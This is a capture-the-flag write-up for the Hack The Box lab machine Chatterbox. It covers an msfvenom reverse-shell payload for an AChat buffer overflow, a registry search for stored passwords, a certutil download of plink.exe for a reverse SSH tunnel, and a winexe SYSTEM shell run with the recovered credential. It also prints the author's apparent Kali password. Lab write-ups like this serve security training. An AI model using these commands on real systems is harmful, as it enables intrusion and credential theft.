Hack The Box - Chatterbox (Medium)


Nmap finds AChat on port 9256. The initial foothhold is trivial: we use AChat Remote Buffer Overflow to get a user shell as alfred.
In the privilege escalation phase, we find a credential in registry. Using this credential, we can construct port forwarding and use winexe to spawn a SYSTEM shell.
HTB now filters all outbound connections going through port 22, so we have to map SSH to some other port.


  • RHOST:
  • LHOST:


Port 9255 and 9256 are open. The service running on port 9256 is AChat.

User Shell: AChat Remote Buffer Overflow

The exploit uses shellcode and we have to generate our own shellcode. Generate shellcode using Msfvenom:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST= LPORT=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python
Update the exploit, start a Netcat listener on port 443 and run the exploit:
User shell
Now we have a user shell as chatterbox\alfred.

Privilege Escalation: Port Forwarding with plink.exe

The victim machine runs 32-bit Windows 7:
Search for passwords in registry:
reg query HKLM /f password /t REG_SZ /s
We find Welcome1!:
Query this registry:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Here we learn that the username is Alfred:
Note that SMB is running on internal ports 139 and 445:
Although we can't access these ports publicly, it is possible to gain this access using port forwarding.
On our attack machine, edit /etc/ssh/sshd_config:
Restart SSH service:
service ssh restart
Download 32-bit plink.exe:
wget https://the.earth.li/~sgtatham/putty/latest/w32/plink.exe
Transfer it to the victim machine:
certutil -urlcache -f plink.exe
Port forwarding:
plink.exe -l root -pw <your_kali_password> -R 445: <local_ip>
However, we are getting a "connection timed out" error:
Connection timed out
Recall that port forwarding is a SSH feature. This is because now HTB firewall rule filters any outbound connections on port 22. This was anonced in the HTB discord server:
HTB discord anoncement
Here we can edit /etc/ssh/sshd_config and map SSH to some other port, for example, port 2222:
/etc/ssh/sshd_config revisited
Restart the SSH service again:
service ssh restart
Do port forward again, but this time we set the port to 2222:
plink.exe -l root -pw imbaMY0624! -R 445: -P 2222
Press "Enter" a few times until you see the output. Spawn a root shell using winexe:
winexe -U Administrator%Welcome1! // "cmd.exe"
Again, press "Enter" a few times until you see the output. Now we get a SYSTEM shell:
SYSTEM shell
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User Shell: AChat Remote Buffer Overflow
Privilege Escalation: Port Forwarding with plink.exe